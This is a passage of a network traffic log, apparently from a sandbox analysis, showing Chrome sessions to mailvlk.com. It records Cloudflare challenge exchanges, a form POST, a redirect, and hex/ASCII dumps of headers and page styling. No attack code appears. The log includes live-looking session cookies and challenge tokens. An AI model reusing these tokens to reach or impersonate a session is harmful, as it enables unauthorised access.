2024-04-24 13:43:19 UTC	1146	IN	Data Raw: 78 38 36 6d 72 63 79 37 30 36 57 30 75 75 43 34 75 4e 53 62 70 4c 33 59 70 62 76 62 74 75 54 43 78 66 44 6a 75 65 50 50 77 4c 58 4e 73 75 36 33 36 39 75 37 72 2b 2b 36 39 73 48 5a 33 73 50 65 42 4e 37 49 43 4e 72 7a 33 76 76 6f 44 76 6f 48 34 2b 50 55 33 51 63 4a 31 65 33 77 2b 78 76 5a 39 50 72 66 31 2f 72 76 38 4f 4c 39 34 2f 62 39 48 51 63 70 42 41 59 4c 48 2f 41 4c 2f 76 54 2b 44 68 6a 71 45 42 45 58 4f 52 41 71 44 79 77 59 4d 69 55 54 45 44 6b 6f 52 52 38 38 48 53 4d 6c 50 69 41 4b 4b 30 42 4c 49 79 42 49 45 78 45 77 4d 45 34 61 4c 7a 70 56 50 54 74 67 4f 79 56 6b 4e 31 42 44 57 45 56 46 59 6c 70 66 4c 69 31 41 4c 31 39 77 64 30 39 70 64 45 78 63 66 54 4e 79 4f 57 78 36 56 55 74 63 50 31 4f 45 51 49 42 7a 69 6a 35 36 56 6d 57 44 6b 48 70 37 6c 5a 42 Data Ascii: x86mrcy706W0uuC4uNSbpL3YpbvbtuTCxfDjuePPwLXNsu6369u7r++69sHZ3sPeBN7ICNrz3vvoDvoH4+PU3QcJ1e3w+xvZ9Prf1/rv8OL94/b9HQcpBAYLH/AL/vT+DhjqEBEXORAqDywYMiUTEDkoRR88HSMlPiAKK0BLIyBIExEwME4aLzpVPTtgOyVkN1BDWEVFYlpfLi1AL19wd09pdExcfTNyOWx6VUtcP1OEQIBzij56VmWDkHp7lZB
2024-04-24 13:43:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49771	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:19 UTC	1171	OUT	POST / HTTP/1.1 Host: mailvlk.com Connection: keep-alive Content-Length: 4732 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Upgrade-Insecure-Requests: 1 Origin: https://mailvlk.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:19 UTC	4732	OUT	Data Raw: 63 31 66 33 64 61 35 30 37 33 38 66 39 33 35 35 66 64 66 66 31 36 35 36 37 65 61 65 39 31 33 33 38 37 36 39 32 61 34 35 36 61 66 30 39 35 36 37 61 64 31 64 65 32 30 63 63 63 65 37 30 36 61 66 3d 4f 56 53 67 66 59 30 44 36 30 4c 56 78 77 6b 52 74 6b 6a 55 78 73 73 55 71 47 70 77 6a 51 2e 5f 4f 6c 66 79 62 49 73 41 32 6d 30 2d 31 37 31 33 39 36 36 31 38 36 2d 31 2e 31 2e 31 2e 31 2d 39 42 65 65 56 46 4c 43 75 58 36 5f 78 42 64 4f 35 33 73 42 5a 6f 73 62 77 6f 52 69 62 6d 52 6f 67 34 64 71 56 70 78 52 59 54 73 48 75 78 41 76 53 69 38 45 43 45 64 6b 4f 41 6d 66 54 61 63 77 42 6f 43 41 62 6d 4e 46 51 6e 78 4a 55 6b 67 32 51 73 37 56 41 6a 4a 75 72 6e 67 69 52 39 32 47 79 53 45 75 64 63 51 59 35 39 45 78 50 54 64 6a 32 6f 74 50 45 4c 65 51 61 4f 74 4f 39 79 6a Data Ascii: c1f3da50738f9355fdff16567eae913387692a456af09567ad1de20ccce706af=OVSgfY0D60LVxwkRtkjUxssUqGpwjQ._OlfybIsA2m0-1713966186-1.1.1.1-9BeeVFLCuX6_xBdO53sBZosbwoRibmRog4dqVpxRYTsHuxAvSi8ECEdkOAmfTacwBoCAbmNFQnxJUkg2Qs7VAjJurngiR92GySEudcQY59ExPTdj2otPELeQaOtO9yj
2024-04-24 13:43:20 UTC	1177	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 13:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; path=/; expires=Thu, 24-Apr-25 13:43:20 GMT; domain=.mailvlk.com; HttpOnly; Secure; SameSite=None set-cookie: PHPSESSID=431c9121354a61f8d08e0d9b71dad828; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache location: ./024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GzFoY9mG9SVlJLaC83b3sXaqqAdWc4Ei0Bz5Dn19EaIy9EuwhKgOaJfTl7ZMf813G14oQIsswpIk2mdWAVlCczJqDjloH%2BwGe6eH58UZxL68BRNFsl51Tz1UBL2DXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796858dca657d12-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49770	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:19 UTC	930	OUT	GET /favicon.ico HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:20 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Wed, 24 Apr 2024 13:43:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16774 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: 4+67oQNUoYmx32lnufGaWmHayWFqBe/5loOAcQDjm9zOcIcf/rQC12OYsPmOzXuC4CfGNu8Wit3zv2x1mCPJYWRR/OT8MksBYWAksiAGXiFkofMAtekKG1cdb+hsvRFnwr0IoLU7oFg9poZPJMejvA==$L5RIUDG8VcQBRgRttVW6Ww== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-24 13:43:20 UTC	411	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6a 66 78 25 32 42 6a 69 33 5a 41 47 5a 41 39 4c 36 49 51 79 6b 74 6e 72 32 51 61 38 42 4f 68 45 66 54 53 34 58 61 65 48 4d 48 6f 65 37 53 43 63 25 32 46 4c 4b 59 36 4f 31 52 4d 38 6a 43 59 70 4c 63 25 32 46 6a 76 25 32 46 78 55 50 6d 6c 48 32 79 79 58 6c 62 75 41 25 32 42 48 4a 25 32 42 59 67 61 50 65 39 4a 73 69 54 6d 6f 65 71 61 63 57 39 56 38 41 54 6d 57 71 51 56 73 6c 6d 31 59 66 35 61 62 6f 4e 44 69 64 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jfx%2Bji3ZAGZA9L6IQyktnr2Qa8BOhEfTS4XaeHMHoe7SCc%2FLKY6O1RM8jCYpLc%2Fjv%2FxUPmlH2yyXlbuA%2BHJ%2BYgaPe9JsiTmoeqacW9V8ATmWqQVslm1Yf5aboNDidA%3D%3D"}],"group":"cf-nel","max_age":60
2024-04-24 13:43:20 UTC	1037	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 Data Ascii: vMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5Ii
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 Data Ascii: #b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiI
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 Data Ascii: .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(d
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b Data Ascii: 1c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 Data Ascii: 1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-t
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 Data Ascii: :60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.foot
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 Data Ascii: .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refr
2024-04-24 13:43:20 UTC	1369	IN	Data Raw: 7a 77 48 6b 6e 2e 56 42 69 57 34 6f 4c 4d 4d 31 37 4b 6d 4a 50 4f 61 54 6e 61 44 6a 74 6e 6a 68 70 69 35 79 75 55 58 51 6d 46 37 4a 43 74 67 72 36 6c 4c 71 35 42 56 74 6d 58 4e 52 6b 73 7a 49 71 53 68 4a 6a 50 2e 6d 71 38 35 4d 68 56 67 33 78 56 37 78 63 45 75 78 4b 4f 43 70 58 69 56 64 6b 77 6e 74 48 32 72 33 79 47 6e 76 31 64 39 37 61 53 50 59 6a 5f 54 67 32 55 75 6c 35 66 48 5a 39 76 39 37 4a 72 70 2e 32 58 44 50 4f 69 38 57 4c 51 4f 6f 5f 4d 64 6c 67 31 50 49 67 57 74 64 57 41 39 6d 54 6b 34 6d 4f 61 4c 51 66 79 74 39 72 70 70 49 57 6f 43 59 67 45 4b 64 54 77 6d 2e 35 6f 34 70 45 36 46 73 78 57 6c 34 76 4d 53 39 57 4c 33 58 79 4f 63 37 37 53 65 42 4d 52 5a 44 39 77 73 55 4a 35 71 57 34 52 53 77 4e 39 6c 55 51 63 59 4f 64 57 64 56 43 47 4b 65 66 59 4c Data Ascii: zwHkn.VBiW4oLMM17KmJPOaTnaDjtnjhpi5yuUXQmF7JCtgr6lLq5BVtmXNRkszIqShJjP.mq85MhVg3xV7xcEuxKOCpXiVdkwntH2r3yGnv1d97aSPYj_Tg2Uul5fHZ9v97Jrp.2XDPOi8WLQOo_Mdlg1PIgWtdWA9mTk4mOaLQfyt9rppIWoCYgEKdTwm.5o4pE6FsxWl4vMS9WL3XyOc77SeBMRZD9wsUJ5qW4RSwN9lUQcYOdWdVCGKefYL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49772	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:19 UTC	473	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:20 UTC	704	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 13:43:20 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: jR5cH8hAz0GPb8pqcXd7ew==$+8j1Q9iZe5GoQ7XV6YMp/g== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7plcP%2Bry678HDa7%2FKz71gC50icyWvzJikxBvZ8v%2Bfi%2BN0g9IIwcSGdIdBI%2FMUU4ykLarJqxkabrB9Guwm0E2tEZsJTn6mJcVCSPfddEYCkROLJtoQQEuVaX5Q82lcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796858f0ce97cd1-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:20 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49773	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:21 UTC	1379	OUT	GET /024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 HTTP/1.1 Host: mailvlk.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Referer: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
